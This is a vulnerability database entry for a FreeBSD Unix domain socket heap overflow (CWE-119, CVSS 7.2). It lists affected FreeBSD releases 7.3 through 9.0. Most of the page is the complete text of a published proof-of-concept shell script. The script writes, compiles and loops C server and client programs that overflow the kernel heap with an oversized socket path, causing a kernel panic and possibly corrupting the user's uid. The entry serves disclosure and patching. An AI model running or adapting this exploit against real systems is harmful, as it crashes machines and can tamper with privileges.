Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 17908
Publication date : 2011-09-29 22h00 +00:00
Author : Shaun Colley
EDB Verified : Yes
#!/bin/sh
#
# fbsd-uipcsock-heap.sh, by Shaun Colley <
[email protected]>, 29/09/11
#
# proof-of-concept crash for the freebsd unix domain sockets heap
# overflow. this was tested on freebsd 8.2-RELEASE. just a PoC for now.
#
# see advisory & patches for details:
# http://www.securityfocus.com/archive/1/519864/30/0/threaded
#
# this PoC will usually result in a kernel panic with a read access
# violation at 0x616161XX but sometimes the kernel will not crash straight
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),
# and your uid (see output of `id`) may have been modified to the
# decimal equivalent of 0x61616161 during the heap smash
# write server code to srv.c
cat > srv.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
struct socky {
short sun_family;
char sun_path[160];
};
int connhandler(int incoming)
{
char buffer[256];
int n = 0;
n = read(incoming, buffer, 256);
buffer[n] = 0;
printf("%s\n", buffer);
n = sprintf(buffer, "fbsd uipc socket heap overflow");
write(incoming, buffer, n);
close(incoming);
return 0;
}
int main(void)
{
struct socky overfl0w;
int sock, incoming;
socklen_t alen;
pid_t child;
char buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}
memset(&overfl0w, 0, sizeof(struct socky));
overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf));
buf[sizeof(buf)-1] = 0x00;
strcpy(overfl0w.sun_path, buf);
if(bind(sock, (struct sockaddr *)&overfl0w,
sizeof(struct socky)) != 0)
{
printf("bind() failed!\n");
return 1;
}
if(listen(sock, 5) != 0)
{
printf("listen() failed!\n");
return 1;
}
while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1)
{
child = fork();
if(child == 0)
{
return connhandler(incoming);
}
close(incoming);
}
close(sock);
return 0;
}
_EOF
gcc srv.c -o srv
# write the client code to client.c
cat > client.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <string.h>
struct socky {
short sun_family;
char sun_path[160];
};
int main(void)
{
struct socky overfl0w;
int sock, n;
char buffer[256], buf[160];
sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}
/* start with a clean address structure */
memset(&overfl0w, 0, sizeof(struct sockaddr_un));
overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf));
buf[sizeof(buf)-1] = 0x00;
strcpy(overfl0w.sun_path, buf);
if(connect(sock,
(struct sockaddr *)&overfl0w,
sizeof(struct socky)) != 0)
{
printf("connect() failed!\n");
return 1;
}
n = snprintf(buffer, 256, "panic");
write(sock, buffer, n);
n = read(sock, buffer, 256);
buffer[n] = 0;
printf("%s\n", buffer);
close(sock);
return 0;
}
_EOF
gcc client.c -o client
# crash doesn't happen straight away, so loop the client to speed it up
cat > loop.c << _EOF
#include <stdio.h>
int main() {
int i;
for(i = 0; i < 1000; i++) {
system("./client");
}
}
_EOF
gcc loop.c -o loop
./srv &
./loop
Products Mentioned
Configuraton 0
Freebsd>>Freebsd >> Version 7.3
Freebsd>>Freebsd >> Version 7.4
Freebsd>>Freebsd >> Version 8.1
Freebsd>>Freebsd >> Version 8.2
Freebsd>>Freebsd >> Version 9.0
Freebsd>>Freebsd >> Version 9.0
Freebsd>>Freebsd >> Version 9.0
References